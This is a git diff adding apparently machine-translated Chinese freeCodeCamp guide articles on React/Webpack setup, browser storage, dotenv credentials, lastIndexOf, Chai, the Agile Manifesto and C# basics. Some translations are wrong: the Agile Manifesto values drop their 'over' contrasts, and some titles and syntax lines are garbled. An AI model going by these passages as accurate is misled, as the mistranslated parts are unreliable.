diff --git a/client/src/guide/chinese/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md b/client/src/guide/chinese/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md
new file mode 100644
index 0000000000..b534d81dc5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/setting-up-a-react-es6-and-webpack-project/index.md
@@ -0,0 +1,51 @@
+---
+title: Setting Up a React Es6 and Webpack Project
+localeTitle: 设置React Es6和Webpack项目
+---
+这个wiki将指导您如何设置一个使用React，Webpack和ES6的简单项目。我们将深入介绍所有设置。
+
+*   [帮助：有关React的更多信息](https://facebook.github.io/react/docs/why-react.html)
+
+对于这个项目，我们将使用Webpack，它是一个模块捆绑器，并且通常用在React项目中。
+
+*   [帮助：有关Webpack的更多信息](https://webpack.github.io/docs/what-is-webpack.html)
+
+[React与ES6配合得很好](https://babeljs.io/blog/2015/06/07/react-on-es6-plus) ，所以我们将在代码中使用ES6。
+
+> ES6是该语言的重要更新，也是自2009年ES5标准化以来该语言的第一次更新。  
+> \- [lukehoban](https://github.com/lukehoban/es6features)
+
+ES6在浏览器中不起作用，但我们可以使用Babel手动将其转换为ES5。
+
+我们使用的技术的一个关键特性是我们的`index.html`文件将引用一个捆绑的JavaScript文件，我们可以在其中引用其他JavaScript文件，而不是使用`script`标记从HTML文件中引用它们。
+
+*   [帮助：有关ES6的更多信息](http://dev.venntro.com/2013/09/es6-part-1/)
+
+## 先决条件
+
+本教程旨在为您提供一个可扩展的简单骨骼结构。对于想要学习React和ES6的人来说，它应该是一个很好的起点。如果你还没有使用JavaScript或jQuery构建任何东西，你应该先在[FreeCodeCamp地图中](http://www.freecodecamp.com/map)进行一些练习。
+
+在开始之前，请确保在最新版本中安装了[NodeJS](https://nodejs.org/en/download/)和[Node Package Manager](http://blog.npmjs.org/post/85484771375/how-to-install-npm) 。
+
+# 快速说明
+
+以下是本教程中提到的所有说明的列表。
+
+*   `npm install webpack webpack-dev-server -g`
+*   `mkdir react-webpack-example && cd $_`
+*   `touch webpack.config.js`
+*   `npm init`
+*   `npm install --save-dev react react-dom webpack webpack-dev-server babel-loader babel-core babel-preset-es2015 babel-preset-react`
+*   `touch .gitignore`
+*   写`.gitignore` （使用[https://www.gitignore.io/api/node](https://www.gitignore.io/api/node) ）
+*   `mkdir src`
+*   `mkdir dist`
+*   `mkdir src/js`
+*   `touch src/js/client.js`
+*   `touch dist/index.html`
+*   写`dist/index.html`
+*   写`src/js/client.js`
+*   写`webpack.config.js`
+*   `webpack`
+*   `webpack-dev-server --content-base dist`
+*   在浏览器中打开Webpack Dev Server路由。完成！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/setting-up-ubuntu-for-programming/index.md b/client/src/guide/chinese/miscellaneous/setting-up-ubuntu-for-programming/index.md
new file mode 100644
index 0000000000..0db26fb6e5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/setting-up-ubuntu-for-programming/index.md
@@ -0,0 +1,17 @@
+---
+title: Setting Up Ubuntu for Programming
+localeTitle: 设置Ubuntu进行编程
+---
+> 注意：我们将在这些文章中提到Ubuntu 16.04 LTS（Xenial Xerus）。
+
+[1.下载并安装Ubuntu Desktop](http://forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383)
+
+[2.自定义Ubuntu](http://forum.freecodecamp.com/t/customizing-ubuntu/18382)
+
+[3.爵士乐终端](http://forum.freecodecamp.com/t/jazzing-up-the-terminal/18386)
+
+[4.安装DevTools和现代Web浏览器](http://forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385)
+
+[5.下载文本编辑器和IDE](http://forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384)
+
+[6.流行的Windows和Mac软件的替代品](http://forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/site-improvements-for-october-2015/index.md b/client/src/guide/chinese/miscellaneous/site-improvements-for-october-2015/index.md
new file mode 100644
index 0000000000..8334991e64
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/site-improvements-for-october-2015/index.md
@@ -0,0 +1,76 @@
+---
+title: Site Improvements for October 2015
+localeTitle: 2015年10月的网站改进
+---
+我们的开源社区在整个9月份都在努力工作，取得了一些重大改进。我们将保持这种节奏，并为我们的第一个生日（2015年10月15日）做一个特殊的直播。以下是我们刚刚推向生产的改进：
+
+## 证明
+
+*   出现了新的挑战，称为“索取您的前端开发人员证书”和“索取您的全栈开发人员证书”。
+*   我们已经接受了我们的学术诚信政策，以应对这些证书挑战。
+*   一旦您满足其要求，证书将以编程方式发布。
+*   证书可以从您的代码组合中获得，只要您没有隐藏您的解决方案，就可以公开查看。
+*   每个证书都有一个唯一的可验证URL，供雇主查看。这使得在不访问我们的生产服务器的情况下伪造我们的证书是不可能的。
+
+## 代码组合
+
+*   所有挑战及其解决方案现在都出现在您的代码组合中，包括挑战。
+*   您可以隐藏其他人的解决方案。
+
+## 未经认证的露营者
+
+*   您无需登录即可完成所有挑战。
+*   完成挑战后，即使您未登录，也会被重定向到下一个逻辑挑战。
+
+## 改善挑战
+
+*   [@berkeleytrue找到](/users/berkeleytrue)了一种方法，使所有挑战解决方案100％可共享。您可以直接从浏览器复制URL并与其他人共享，他们将能够针对挑战测试运行您的代码。运行质询测试时，URL会自动更新。
+*   我们完全重写了所有算法测试，使其尽可能透明。根据受欢迎的要求，我们不再自己展示Chai测试 - 只是一条清楚地解释每个测试测试内容的信息。
+*   根据受欢迎的要求，我们添加了gif风格的挑战，并正在用这些挑战取代我们的视频风格挑战。我们所有的旧视频都会保留在我们的[YouTube频道上](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) 。
+
+## Wiki改进
+
+*   [@ rafase282](/users/rafase282)几乎完成了为Free Code Camp课程中每一项挑战创建的笔记 ，包括提示和解决方案。
+*   [@codenonprofit](/users/codenonprofit)已经开始创建“门户”风格的wiki文章，作为我们纠结的400多篇文章的更好入口点。
+
+## 解决了实验
+
+*   Plug.dj关闭，我们的plug.dj房间用它。我们的一些露营者正致力于构建一个开源音乐应用程序来取代它。
+*   我们从wiki中删除了几个低流量的休闲Gitter房间，并为非编码相关的聊天创建了一个全能的[休闲聊天室](https://gitter.im/freecodecamp/casual) 。
+*   我们现在建议露营者使用他们的本地集团的Facebook小组进行聊天，而不是他们的露营地的Gitter聊天室。只有少数我们的Local Group Gitter chatrooom进行了积极的同步讨论，大约1/3的谈话都是由某人说“你好”而没有得到回应。我们从Local Group目录中删除了所有Local Group Gitter房间。尽管如此，我们仍会保留它们以供存档使用，如果您愿意，可以继续使用它。这是[一篇](http://blog.freecodecamp.com/2015/09/jump-start-your-local-campsite-with-coffee-and-code.html)关于我们的本地小组如何发展和成长的简短[博文](http://blog.freecodecamp.com/2015/09/jump-start-your-local-campsite-with-coffee-and-code.html) 。
+
+## 其他令人兴奋的事
+
+*   我们刚刚推出了我们的第一个[T恤运动，](https://teespring.com/get-free-code-camp-t-shirt)并为[欧盟的实现](https://teespring.com/free-code-camp-shirt-eu)增加了第二个运动。
+*   我们刚刚推出了Commit。请阅读[@ codenonprofit的博客文章](http://blog.freecodecamp.com/2015/10/commit-to-yourself-commit-to-nonprofit.html) ，而不是在此处详细介绍。
+*   我们推出了[免费代码营实验室，](http://freecodecamp.com/labs)以展示我们的露营者正在建设的一些独特项目。
+*   我们开始[从露营者那里](http://freecodecamp.com/stories)收集[故事](http://freecodecamp.com/stories)并将它们放在一个地方。这些只是在使用免费代码营学习后进入职业生涯并获得编码工作的露营者中的一小部分，但这是一个非常有代表性的样本。
+
+## 未来几周将有所改善：
+
+*   每个挑战的可点击提示按钮，循环显示一系列越来越有用的提示。
+*   推荐的解决方案，您可以在完成每项挑战后比较您的解决方案。
+*   我们将重新录制一些看上去过时的GIF。
+*   我们将用Clementine.js完成后端项目的Get Set（gif-style challenge）
+*   我们将为前端项目完成新的Get Set（gif式挑战）
+*   我们将所有前端项目和后端项目挑战转移到gif风格。
+*   我们将为我们的gif风格挑战添加一个后退按钮。
+*   我们将启动我们的工作板。
+*   我们将发布几个新的JSON API和AJAX相关的挑战
+*   我们将完成一个为教师设计的排行榜创作机制，以跟踪学生和露营者跟踪他们的朋友。
+*   我们将完成远足界面（远足是Briana Swift的[计算机科学理论挑战](https://www.youtube.com/watch?v=q7tlgZg4Q1o&list=PLWKjhJtqVAbmfoj2Th9fvxhHIeqFO7wOy) ）
+*   我们将关闭已经堆积的~30个拉动请求（谢谢，贡献者！）
+
+## 我们仍然没有忘记长期目标：
+
+*   支持主要世界语言（ [翻译仍在进行中](https://trello.com/b/m7zhwXka/fcc-translation) ）
+*   将Free Code Camp转变为单页同构应用程序
+*   为Screen Hero / Team Viewer创建一个基于浏览器的替代品，非常适合在Free Code Camp上进行配对。
+*   React.js课程
+*   D3.js课程和数据可视化前端项目
+
+## 我们的代码库正在迅速改进。
+
+如果你看到一些看起来很时髦或破碎的东西，请点击“bug”按钮并为我们创建一个GitHub问题。感谢您的耐心和支持。
+
+快乐的编码！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/spanish-terminology-alignment/index.md b/client/src/guide/chinese/miscellaneous/spanish-terminology-alignment/index.md
new file mode 100644
index 0000000000..92f053c114
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/spanish-terminology-alignment/index.md
@@ -0,0 +1,67 @@
+---
+title: Spanish Terminology Alignment
+localeTitle: 西班牙语术语对齐
+---
+为避免混淆其他Campers，我们需要使用相同的术语对齐所有翻译人员。为此，我们创建了一个列表，其中包含我们目前使用的最常用的单词和翻译。
+
+值得强调的是，所有术语都可以讨论。如果必须进行任何更改，您可以通过Slack向我们发送直接消息给@miya或@eabedrapo 。
+
+## FCC术语
+
+### 翻译
+
+*   免费代码营
+*   挑战
+*   算法
+*   前端项目
+*   后端项目
+*   顶部菜单按钮。
+*   露营
+*   全栈
+*   窃听器
+
+## CS术语
+
+### 翻译
+
+*   硬件
+*   软件
+*   位
+*   字节
+*   前端
+*   链接
+*   骨架
+*   询问
+
+### 翻译
+
+*   布尔逻辑：布尔逻辑
+*   循环：Búcle
+*   计算机科学：计算机
+*   运行（程序）：运行
+*   单击：单击
+*   响应：适应性强
+
+## 一般术语
+
+### 翻译
+
+*   非营利性：非营利性公司
+*   自定进度：按照自己的节奏管理
+
+## HTML / CSS术语
+
+### 非traslated
+
+*   卷筒纸
+*   测试和挑战种子（至少对于第一个版本，它们不应被翻译）。
+
+#### 要做
+
+视频向其他人展示如何与文件的翻译和审核协作。
+
+#### 讨论
+
+性别使用？咳咳：“当你学习时保持**动力**的最好方法之一......”
+
+*   “有动力或有动力”（两者兼而有之？）
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/store-data-in-web-browsers-storage/index.md b/client/src/guide/chinese/miscellaneous/store-data-in-web-browsers-storage/index.md
new file mode 100644
index 0000000000..84b00cce4d
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/store-data-in-web-browsers-storage/index.md
@@ -0,0 +1,87 @@
+---
+title: Store Data in Web Browsers Storage
+localeTitle: 将数据存储在Web浏览器存储中
+---
+为了管理Web应用程序处理的数据，您不一定需要数据库。 Chrome（版本4及更高版本），Mozilla Firefox（版本3.5及更高版本）和Internet Explorer（版本8及更高版本）以及一系列其他浏览器（包括iOS和Android版本）均支持各自的浏览器存储功能。
+
+浏览器存储有两种主要可能性：
+
+## 1\. localStorage
+
+重新启动浏览器（关闭并再次打开）后，保存到`localStorage`对象的任何内容/数据都将可用。为了**_将项目保存_**到`localStorage` ，您可以使用方法`setItem()` 。这个方法必须是一个键和一个值。
+```
+Example: localStorage.setItem("mykey","myvalue"); 
+```
+
+要从**_localStorage检索项目_** ，必须使用方法`getItem` 。必须将`getItem`方法传递给您要检索的数据的键：
+```
+  Example: localStorage.getItem("mykey"); 
+```
+
+您可以使用`removeItem()`方法从`localStorage`删除项目。必须将此方法交给要删除的项目的键：
+```
+  Example: localStorage.removeItem("mykey"); 
+```
+
+要清除整个`localStorage` ，您应该在`localStorage`对象上使用`clear()`方法：
+```
+  Example: localStorage.clear(); 
+```
+
+## 2\. sessionStorage
+
+保存在`sessionStorage`对象中的项目将保留，直到用户关闭浏览器。然后，存储将被清除。
+
+您可以将项目保存到`sessionStorage` ，请使用`sessionStorage`对象上的方法`setItem()` ：
+```
+Example: sessionStorage.setItem("mykey","myvalue"); 
+```
+
+要从**_sessionStorage检索项目_** ，必须使用方法`getItem` 。必须将`getItem`方法传递给您要检索的数据的键：
+```
+  Example: sessionStorage.getItem("mykey"); 
+```
+
+您可以使用`removeItem()`方法从`sessionStorage`删除项目。必须将此方法交给要删除的项目的键：
+```
+  Example: sessionStorage.removeItem("mykey"); 
+```
+
+要清除整个`sessionStorage` ，您应该在`sessionStorage`对象上使用`clear()`方法：
+```
+  Example: sessionStorage.clear(); 
+```
+
+## 将数组保存到localStorage和sessionStorage
+
+您不仅可以将单个值保存到`localStorage`和`sessionStorage` ，还可以保存数组的内容。
+
+在这个例子中，我们有一个带数字的数组：
+```
+var ourArray =[1,2,3,4,5]; 
+```
+
+我们现在可以使用`setItem()`方法将其保存到`localStorage`或`sessionStorage` ：
+```
+localStorage.setItem("ourarraykey",JSON.stringify(ourArray)); 
+```
+
+或者，对于`sessionStorage` ：
+```
+sessionStorage.setItem("ourarraykey",JSON.stringify(ourArray)); 
+```
+
+为了保存，必须首先将数组转换为字符串。在上面显示的示例中，我们使用`JSON.stringify`方法来完成此任务。
+
+从`localStorage`或`sessionStorage`检索数据时，将其转换回数组：
+```
+var storedArray = localStorage.getItem("ourarraykey"); 
+ ourArray = JSON.parse(storedArray); 
+```
+
+或者，对于`sessionStorage` ：
+```
+var storedArray = sessionStorage.getItem("ourarraykey"); 
+ ourArray = JSON.parse(storedArray); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md b/client/src/guide/chinese/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md
new file mode 100644
index 0000000000..ec62a14b5e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md
@@ -0,0 +1,84 @@
+---
+title: Storing Mongo Username  Password Persistently Using Dotenv
+localeTitle: 使用Dotenv持久存储Mongo用户名密码
+---
+## 使用dotenv存储应用程序的安全信息
+
+本文是关于在本地测试环境中保存第三方站点（例如mLab）上的安全数据库访问的用户名和密码凭据信息，以保护他们免受在github等站点上查看公共存储库的任何人的攻击。
+
+安全信息或私人信息不应存储在您的代码中并推送到存储库，因为它会被公开暴露，从而使您的信息面临风险，如果有人以欺诈手段使用您的凭据，您将面临失去API或数据库访问权的风险。
+
+[这篇wiki文章](//forum.freecodecamp.com/t/guide-for-using-mongodb-and-deploying-to-heroku/19347/3)讨论了如何使用export命令保护您的凭据，但为了使这些变量保持持久性，您有两种选择。但是，每次重新启动shell时都会删除以这种方式设置的enivorment变量，例如当您关闭计算机并重新启动新的编码会话时。
+
+每次启动新的终端shell时，都必须再次执行所有步骤来设置环境变量。这意味着您需要将凭据存储在某个文本文件中，或者在第三方帐户（例如mLab）中查找它们。
+
+每次开始一个新会话时这样做都很乏味，而不是将它们存储在易于查找的代码本身中，我将向您展示一种使用文本文件并导入凭据的方法。
+
+第一种选择是使用您的shell配置文件，并在每次启动新终端时导出这些变量。然而，在开发新应用程序和项目的几周内，您的shell配置文件会被大量的变量堵塞，这些变量在每个会话中都不需要。您只需要当前正在处理的应用程序的凭据。
+
+## 清理包含安全凭据的git仓库
+
+如果您已经使用存储在代码库中的凭据将存储库推送到github，则只需删除它们并再次推送它将无济于事，因为您的凭据存储在历史记录中，这对公众也是可见的。如果是这种情况，请使用这些命令重置git存储库以清除历史记录。
+
+**首先，**从github删除你的repo。我们准备好之后你会创建一个新的。
+
+**其次，**从工作目录中删除本地git存储库。  
+\- 将目录更改为工作目录。你的.git repo文件应该在这里。  
+请注意：如果使用不正确，使用-rf标志可以删除整个硬盘。我使用-i标志，代表交互以确定我在正确的目录中。在对几个文件进行排序后，我100％确定我在正确的位置，我会杀死该命令并在没有-i标志的情况下再次运行它。做你觉得最舒服的事情，但建议你在运行-rm命令之前有一个完整的计算机备份（在多个地方）。
+```
+cd <project-name> 
+ rm -i -rf .git 
+```
+
+**第三，**确保更新.gitignore文件以包含.env文件以及您希望保密的任何其他文件夹。本地IDE文件，例如.idea / if，例如使用jetbrains，可以在此文件中。我的.gitignore文件看起来像这样。请注意，您可以在创建文件夹或文件之前添加它，而不会导致任何错误。
+
+`.gitignore`  
+node\_modules  
+.ENV  
+数据/  
+。理念/
+
+**最后**创建一个新的存储库。现在，您已准备好继续创建.env文件并将您的repo安全地推送到github并保证您的凭据安全。
+
+`git init`
+
+## 如何在本地应用程序中使用dotenv
+
+这是节点模块dotenv可以提供帮助的地方。要使用dotenv，您需要在应用程序代码中要求它，调用它上面的config（）函数，该函数从您计算机上的本地存储文件中提取您的凭据。该文件名为`.env`
+
+**第1步：**创建.env文件并将变量存储在其中  
+`MONGOLAB_URI="mongodb://username:password@ds01316.mlab.com:1316/food"`
+
+**第2步：**在主应用程序中要求dotenv  
+在你的主`app.js` （或任何你命名的）  
+`var dotenv = require('dotenv');`
+
+**第3步：**在变量上调用config函数。 （注意这可以通过链接在一行中完成，但我喜欢看到这是一个单独的活动）。  
+`dotenv.config();`
+
+**第4步：**通过调用流程变量来设置您的mongodb URL：  
+`var url = process.env.MONGOLAB_URI;`
+
+此解决方案可以保护您的代码清洁您不希望推送到公共存储库的安全凭据，同时保持每个应用程序整齐有序并节省开发期间的时间。
+
+**参考文献：**
+
+[osxdaily.com](http://osxdaily.com/2015/07/28/set-enviornment-variables-mac-os-x/)
+
+！\[\]（http://cdn.osxdaily.com/wp-content/uploads/2014/08/terminal-icon-osx.png） ### [在Mac OS X中设置环境变量的位置](http://osxdaily.com/2015/07/28/set-enviornment-variables-mac-os-x/) 在命令行中，为当前shell定义环境变量，并由任何正在运行的命令或进程继承。他们可以从默认的shell，PATH，......中确定任何东西......
+
+[stackoverflow.com](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+[！\[Drake Main](https://i.stack.imgur.com/jRaTj.jpg?s=128&g=1) \]（http://stackoverflow.com/users/4956243/drake-main） #### [在Node.js中使用API​​密钥时的最佳实践](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+\*\* node.js，api-key \*\*
+
+[Drake Main](http://stackoverflow.com/users/4956243/drake-main)在[上午07:05 - 2月12日](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)问道
+
+[stackoverflow.com](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
+
+[！\[Peiniau](https://www.gravatar.com/avatar/9db1745a666cface1731c12d54e189e6?s=128&d=identicon&r=PG) \]（http://stackoverflow.com/users/105813/peiniau） #### [如何完全删除使用init创建的git存储库？](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
+
+\*\* git，git-init \*\*
+
+[Peiniau](http://stackoverflow.com/users/105813/peiniau)在[04:06](http://stackoverflow.com/users/105813/peiniau) [PM - 2009年7月31日](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init) [提问](http://stackoverflow.com/users/105813/peiniau)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/stringprototypelastindexof/index.md b/client/src/guide/chinese/miscellaneous/stringprototypelastindexof/index.md
new file mode 100644
index 0000000000..5beec25314
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/stringprototypelastindexof/index.md
@@ -0,0 +1,66 @@
+---
+title: String.prototype.lastIndexOf
+localeTitle: String.prototype.lastIndexOf
+---
+`lastIndexOf()`方法返回指定值最后一次出现的调用String对象中的索引，如果未找到则返回-1。从`fromIndex`开始向后搜索调用字符串。
+
+## 句法
+```
+str.lastIndexOf(searchValue<a href='https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf' target='_blank' rel='nofollow'>, fromIndex]) 
+```
+
+## 参数
+
+**searchValue**
+
+表示要搜索的值的字符串。
+
+**的fromIndex**
+
+可选的。调用字符串中用于开始搜索的位置，从左到右编制索引。它可以是任何整数。默认值为`str.length` 。如果是否定的，如果它被视为0 `fromIndex > str.length` ， `fromIndex`作为处理`str.length` 。
+
+\[MDN链接| [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/6d20k718%28v=vs.94%29.aspx)
+
+## 返回
+
+返回字符串中最后一次出现的子字符串。
+
+## 描述
+
+字符串中的字符从左到右编制索引。第一个字符的索引是0，最后一个字符的索引是`stringName.length - 1` 。
+
+`lastIndexOf()`方法区分大小写。例如，以下表达式返回`-1` ：
+
+## 例子
+```
+'canal'.lastIndexOf('a');     // returns 3 
+ 'canal'.lastIndexOf('a', 2);  // returns 1 
+ 'canal'.lastIndexOf('a', 0);  // returns -1 
+ 'canal'.lastIndexOf('x');     // returns -1 
+ 'Blue Whale, Killer Whale'.lastIndexOf('blue'); // returns -1 
+ 
+ var anyString = 'Brave new world'; 
+ 
+ console.log('The index of the first w from the beginning is ' + anyString.indexOf('w')); 
+ // logs 8 
+ console.log('The index of the first w from the end is ' + anyString.lastIndexOf('w')); 
+ // logs 10 
+ console.log('The index of "new" from the beginning is ' + anyString.indexOf('new')); 
+ // logs 6 
+ console.log('The index of "new" from the end is ' + anyString.lastIndexOf('new')); 
+ // logs 6 
+ 
+ var str = "time, time"; 
+ 
+ var s = ""; 
+ s += "time is at position " + str.lastIndexOf("time"); 
+ s += "<br />"; 
+ s += "abc is at position " + str.lastIndexOf("abc"); 
+ 
+ document.write(s); 
+ 
+ // Output: 
+ // time is at position 6 
+ // abc is at position -1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/testing-with-chaijs/index.md b/client/src/guide/chinese/miscellaneous/testing-with-chaijs/index.md
new file mode 100644
index 0000000000..b83ebee6cb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/testing-with-chaijs/index.md
@@ -0,0 +1,41 @@
+---
+title: Testing with Chaijs
+localeTitle: 用Chaijs测试
+---
+[Chai](http://chaijs.com)是Node.js的测试库。
+
+### 安装
+
+您可以通过npm在项目中安装Chai。
+```
+npm install chai 
+```
+
+##### 专家提示
+
+使用\*作为版本标记在_package.json的_ devDependencies中添加Chai。这样，您始终拥有最新版本。
+```
+"devDependencies": { 
+  "chai": "*" 
+ } 
+```
+
+### 如何使用
+
+#### 断言
+
+您可以使用_assert_来检查您的测试是否表现良好。
+```
+var assert = require('chai').assert, foo = 'bar', beverages = { tea: [ 'chai', 'matcha', 'oolong' ] }; 
+ 
+ assert.typeOf(foo, 'string'); // without optional message 
+ assert.typeOf(foo, 'string', 'foo is a string'); // with optional message 
+ assert.equal(foo, 'bar', 'foo equal `bar`'); 
+ assert.lengthOf(foo, 3, 'foo`s value has a length of 3'); 
+ assert.lengthOf(beverages.tea, 3, 'beverages has 3 types of tea'); 
+```
+
+### 更多信息：
+
+*   `help chai assert`
+*   `help chai expectations`
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-agile-manifesto/index.md b/client/src/guide/chinese/miscellaneous/the-agile-manifesto/index.md
new file mode 100644
index 0000000000..d008a61fc0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-agile-manifesto/index.md
@@ -0,0 +1,38 @@
+---
+title: The Agile Manifesto
+localeTitle: 敏捷宣言
+---
+### 对于敏捷软件开发
+
+敏捷开发是由一组17位软件专家于2001年编写的，其中包括Scrum极限编程（XP），动态系统开发方法（DSDM）和Crystal的创建者;特征驱动开发的代表;以及软件行业的其他几位思想领袖。敏捷宣言为当时所有的敏捷方法建立了一套共同的总体价值观和原则。这是宣言。
+
+我们通过这样做并帮助其他人来实现软件开发的更好方法。通过这项工作，我们开始重视：
+
+1.  个人以及流程和工具之间的互动。
+2.  工作软件综合文档
+3.  合同谈判中的客户协作
+4.  响应遵循计划的变更
+
+> 也就是说，虽然右边的项目有价值，但我们更重视左边的项目。
+
+原始签名者：
+
+*   肯特贝克
+*   迈克比德尔
+*   Arie van Bennekum
+*   Alistair Cockburn
+*   沃德坎宁安
+*   马丁福勒
+*   詹姆斯格伦宁
+*   吉姆海史密斯
+*   安德鲁亨特
+*   罗恩杰弗里斯
+*   乔恩克恩
+*   布赖恩马里克
+*   罗伯特C.马丁
+*   史蒂夫梅尔
+*   肯施瓦贝尔
+*   杰夫萨瑟兰
+*   戴夫托马斯
+
+阅读[http://agilemanifesto.org/上](http://agilemanifesto.org/)的原文
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/the-c-programming-language/index.md b/client/src/guide/chinese/miscellaneous/the-c-programming-language/index.md
new file mode 100644
index 0000000000..54672b0d1b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/the-c-programming-language/index.md
@@ -0,0 +1,198 @@
+---
+title: The C Programming Language
+localeTitle: C程序设计语言
+---
+## 基本
+
+*   建立
+*   你的第一个C＃程序
+*   类型和变量
+*   流量控制声明
+*   运营商
+*   字符串
+*   类，对象，接口和主要方法
+*   字段和属性
+*   范围和可访问性修饰符
+*   处理例外情况
+
+## 中间
+
+*   泛型
+*   事件，代表和Lambda表达式
+*   集合框架
+*   LINQ
+
+## 高级
+
+*   异步编程（异步和等待）
+*   任务并行库
+
+## C＃6有什么新功能
+
+*   空条件运算符
+*   自动属性初始化程序
+*   表达的名称
+*   表达身体的功能和属性
+*   其他特性
+
+## 面向对象原则（OOP）
+
+*   封装
+*   抽象化
+*   遗产
+*   多态性
+
+## 坚实的原则
+
+*   单一责任原则
+*   开放封闭原则
+*   利斯科夫替代原则
+*   接口隔离原理
+*   依赖倒置原则
+
+## C＃最佳实践，设计模式和测试驱动开发（TDD）
+
+## 建立
+
+[LinqPad](http://www.linqpad.net/)是一个.NET暂存器，用于快速测试您的C＃代码片段。标准版是免费的，是初学者执行语言陈述，表达式和程序的完美工具。
+
+或者，您也可以下载[Visual Studio Community 2015](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) ，它是大多数专业人员用于创建企业应用程序的可扩展[IDE](https://en.wikipedia.org/wiki/Integrated_development_environment) 。
+
+## 你的第一个C＃程序
+```
+//this is the single line comment 
+ 
+ /** This is multiline comment, 
+ compiler ignores any code inside comment blocks. 
+ **/ 
+ 
+ //This is the namespace, part of the standard .NET Framework Class Library 
+ using System; 
+ // namespace defines the scope of related objects into packages 
+ namespace Learning.CSharp 
+ { 
+  // name of the class, should be same as of .cs file 
+  public class Program 
+  { 
+    //entry point method for console applications 
+   public static void Main() 
+    { 
+      //print lines on console 
+      Console.WriteLine("Hello, World!"); 
+      //Reads the next line of characters from the standard input stream.Most common use is to pause program execution before clearing the console. 
+      Console.ReadLine(); 
+    } 
+  } 
+ } 
+```
+
+每个C＃控制台应用程序都必须有一个[Main方法](https://msdn.microsoft.com/en-gb/library/acy3edy3.aspx) ，它是程序的入口点。
+
+在.NET Fiddle中编辑[HelloWorld](https://dotnetfiddle.net/kY7QRm) ，这是一个受[JSFiddle](http://jsfiddle.net)启发的工具，您可以在其中更改代码片段并[自行](http://jsfiddle.net)检查输出。请注意，这只是为了共享和测试代码片段，而不是用于开发应用程序。
+
+如果您使用的是Visual Studio，请按照本[教程](https://msdn.microsoft.com/en-us/library/k1sx6ed2.aspx)创建控制台应用程序并了解您的第一个C＃程序。
+
+## 类型和变量
+
+C＃是一种强类型语言。每个变量都有一个类型。每个表达式或语句都计算为一个值。 C＃中有两种类型
+
+*   价值类型
+*   参考类型。
+
+**值类型** ： **值类型的**变量直接包含值。将一个值类型变量分配给另一个值复制包含的值。
+
+[在.NET小提琴中编辑](https://dotnetfiddle.net/JCkTxb)
+```
+int a = 10; 
+ int b = 20; 
+ a=b; 
+ Console.WriteLine(a); //prints 20 
+ Console.WriteLine(b); //prints 20 
+```
+
+请注意，在其他动态语言中，这可能会有所不同，但在C＃中，这始终是值副本。创建值类型时，会创建最有可能在[堆栈中](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline2)的单个空间，这是一个“LIFO”（后进先出）数据结构。堆栈具有大小限制并且存储器操作是有效的。内置数据类型的几个例子是`int, float, double, decimal, char and string` 。
+
+输入|示例|描述  
+\--------- | -------------------------------------------------- --------------------------- | -------------------------------------------------- -------------------------------------------------- -----------------------------  
+_整数_ | `int fooInt = 7;` | **签名32位**整数  
+_长_ | `long fooLong = 3000L;` | **有符号的64位**整数。 **L用于指定此变量值的类型为long / ulong**  
+_双_ | `double fooDouble = 20.99;` |精度： **15-16位**  
+_浮动_ | `float fooFloat = 314.5f;` |精度： **7位数** 。 **F用于指定此变量值的类型为float**  
+_十进制_ | `decimal fooDecimal = 23.3m;` |精度： **28-29位。**它更精确，更小的范围使其适用于**财务和货币计算**  
+_Char_ | `char fooChar = 'Z';` |单个**16位Unicode字符**  
+_布尔_ | `bool fooBoolean = false;` | Boolean - **true和false**  
+_字符串_ | `string fooString = "\"escape\" quotes and add \n (new lines) and \t (tabs);` | **一串Unicode字符。**
+
+有关所有内置数据类型的完整列表，请参见[此处](https://msdn.microsoft.com/en-us/library/ms228360)
+
